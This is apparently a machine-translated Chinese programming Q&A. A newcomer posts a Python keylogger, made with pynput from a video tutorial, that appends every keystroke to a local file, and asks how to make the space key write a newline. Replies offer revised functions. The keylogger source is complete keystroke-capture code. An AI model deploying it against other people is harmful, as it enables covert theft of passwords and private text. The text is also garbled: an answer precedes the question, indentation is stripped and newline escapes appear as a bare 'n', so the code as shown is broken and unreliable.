这是因为你的"k"不是"space"，而是"s"、"p"、"a"、"c"、"e"。
我正在运行Python 3.8(也在2.7上进行了测试(。下面是我参考视频教程创建的键盘记录程序的代码，因为我对Python还很陌生，正在努力学习。我正试图让它在按下空格键时，它会在文件中写入一行新行，这样它就可以向下翻页，看起来更好。我在网上尝试了一些不同的东西，但都没有解决。如果有人能帮我解释为什么不起作用，我将不胜感激。谢谢，祝你度过美好的一周
# Define imports
import pynput
from pynput.keyboard import Key, Listener
# Define variables for keylogger
count = 0
keys = []
# Function to detect key presses
def on_press(key):
global count, keys
keys.append(key)
count += 1
print(str(key))
if count >= 1:
write_file(str(keys))
keys = []
count = 0
# Function to write the letters to a file
def write_file(keys):
with open("log_test.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "").replace("u", "").replace("]", "").replace(",", "").replace("[", "")
if k.find("space") >= 0: # This is the code to check for space bar press
f.write('n')
else:
k.find("Key") == -1
f.write(k)
# Detect when a key is released
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
不是最优雅的方法，但试试这个：
def on_press(key):
global count, keys
keys.append(key)
count += 1
if count >= 1:
write_file(keys) # don't convert to string here
keys = []
count = 0
def write_file(key):
with open("log_test.txt", "a") as f:
if str(key).find("space") >= 0: # transform to string to find what you want
f.write('n')
elif str(key).find("Key") == -1: # transform to string to find what you want
# key will come as a list, like this: ['char']
# take the first (and only) element, and it will be like this: 'char'
# then remove the "'" and you'll have your character
key = str(key[0]).replace("'", '') # take only the character, then save it
f.write(key)
检查空间时，请执行以下操作：
if k.find(" ") >= 0: # use plain space " " and not "space"
f.write('n')